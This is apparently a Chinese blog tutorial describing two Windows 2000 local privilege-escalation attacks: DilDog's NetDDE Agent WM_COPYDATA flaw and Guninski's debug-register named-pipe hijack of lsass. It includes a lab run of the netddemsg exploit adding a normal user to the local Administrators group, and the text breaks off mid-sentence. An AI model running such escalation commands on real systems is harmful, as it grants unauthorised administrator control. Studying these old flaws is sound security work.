在Win2000中提升权限的实例及心得好,回到正题:怎么样利用Dynamic Data Exchange来提升权限?我们曾经提到过,在Windows操作系统有多种Interprocess Communication的方法,Named Pipe是常见的一种,而Dynamic Data Exchange(DDE)则是另一种常见的方法,它是通过共享内存来实现不同进程间的动态数据交换。这些动态交换的数据叫DDE Share,它们由DDE Server创建并由Network DDE DSDM (DDE share database manager)服务进程管理。你可以在Dos窗口下运行命令DDESHARE来显示你计算机上的DDE Share,常见的DDE Share有Chat$、CLPBK$、Hearts$。 当管理DDE Share的Network DDE DSDM服务进程运行时,Winlogon会在当前登录用户的Desktop产生一个隐藏式的Window,这个隐藏式的Window名字为"NetDDE Agent",是一个"NDDEAgnt"类的window class,它的功能在于协助DDE Server程序及DDE Client程序之间的数据交换。由于它由Winlogon创建,这个Window的进程就以Local System的权限运行在登录用户的Desktop上,只不过用户看不到它而已。 "NetDDE Agent"还有另外一个辅助功能:当DDE Client试图连接到一个Trueted的DDE Share时,如果"NetDDE Agent"发现创建这个DDE Share的DDE Server尚未运行,它会主动启动这个Server。记住"NetDDE Agent"进程是具有Local System权限的,所以它启动Server没有一点问题。 根据DilDog的研究,这个隐藏式的"NetDDE Agent"就是一个缺口(Vulerability)!还记得Window操作系统中的函数SendMessage()吗?登录用户可以利用这个函数向Desktop上的任何Window发送Message,即使这个Window不属于当前登录用户。所以黑客在以一般用户的身份登录后,可以用SendMessage()发送一个WM_COPYDATA message给"NetDDE Agent",这个Message里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容: 1。 一个Trusted DDE Share的名字,比如说Chat$; 2。 一个用于启动DDE Server的命令,如果"NetDDE Agent"发现创建Chat$的DDE Server尚未运行,就根据这个命令来启动DDE Server。但是黑客可以任选一个命 令来伪造,比如说“Net Localgroup Administrators /Add 阿猫”----这里的阿 猫已经是合法的一般用户了; 3。 一些固定不变的字节。DilDog认为是这些字节应该是随机产生的,而不应该固定 不变。我个人理解这些字节是用于向"NetDDE Agent"或Network DDE DSDM证明 WM_COPYDATA message是由合法程序(而不是黑客程序)发出的,所以它们应该随机 变化而不让黑客轻易得到。 当"NDDEAgnt"接收到WM_COPYDATA message时,它核对后会发现第三部分的字节正确无误,而且Trusted DDE Share确实存在,於是它就执行黑客命令,由于"NDDEAgnt"具有Local System权限,它可以顺利地让阿猫同志光荣地加入本地Administrator Group。 DilDog在文章中还附带了一个Exploit程序netddemsg,我接下来就在dallas上演示一下我自己是怎么样追随阿猫加入本地Administrators Group的: /* 先以我的用户账号“moda”登录dallas。 看看本地administrators Group有哪些成员: */ D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the Members ----------------------------------------------------------------------------- a_mao Administrator The command completed successfully. /* 本地administrators Group目前只有两个成员,Administrator和a_mao。试着把“moda”加入到本地administrators Group中: */ D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators /add moda System error 5 has occurred. Access is denied. /* 我的权限显然不够,所以得到error 5。 运行DilDog的Exploit程序,同时附带上我的黑客命令: */ D:\MyJob\securitylab\netddemsg\Debug>netddemsg -s Chat$ net localgroup administrators /add moda /* 程序运行结束,让我们看看“moda”是否加入本地administrators Group: */ D:\MyJob\securitylab\netddemsg\Debug> D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the Members ----------------------------------------------------------------------------- a_mao Administrator moda The command completed successfully. D:\MyJob\securitylab\netddemsg\Debug> /* 我也光荣地加入了本地administrators Group */ 利用Windows 2000/Intel中的Debug Register来提升权限: 我是在Georgi Guninski的个人网站(http://www.guninski.com)上看到这篇文章: “Elevation of Privileges with debug registers on Win2k”,介绍怎么样利用Intel X86中的Debug Register来获取Local Administrator的权限。我的运气不太好,用文章中的Exploit程序Pipe3试了几次也不能成功,不过觉得利用Debug Register来攻击是个新的思路,所以就在这里顺便介绍一下。 Intel X86的Debug Register(DR0-DR7寄存器)是所有进程共用的。也就是说,你在一般用户进程中下一个绊子(就是设置一个断点),没准会把某个系统进程或者服务进程(Service)绊一跤;这一跤要是把系统/服务进程摔垮了,导致它停止执行的话,你没准就可以伪造该进程的Named Pipe;然后当有其它进程企图通过Named Pipe与垮掉的系统/服务进程联络时,黑客就可以利用函数ImpersonateNamedPipeClient来窃取其它进程的权限----这很可能就是Local System的权限。 文章中的Exploit程序Pipe3(请从网站http://www.guninski.com下载)就是按照这个思路设计的:它要整垮的进程是lsass,所以必须先找几个lsass进程把要运行的指令的地址,以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路,我们才好在那条路上设绊脚石);然后Pipe3以一般用户的权限运行程序Calc(计算器),并在其中设置断点,因为这断点的地址是在lsass运行的途径上,所以它们并不会影响Calc进程;过不了多久lsass就会有报告“SingleStep Exception”并让你选择是中断lsass运行还是Debug lsass进程;选择中断lsass以便关闭lsass拥有的Named Pipe----\ 上一篇: 自动安装Windows2000系统 下一篇: 怎么样让Win2000系统达到最佳性能 更多相关文章
|
推荐文章
精彩文章
|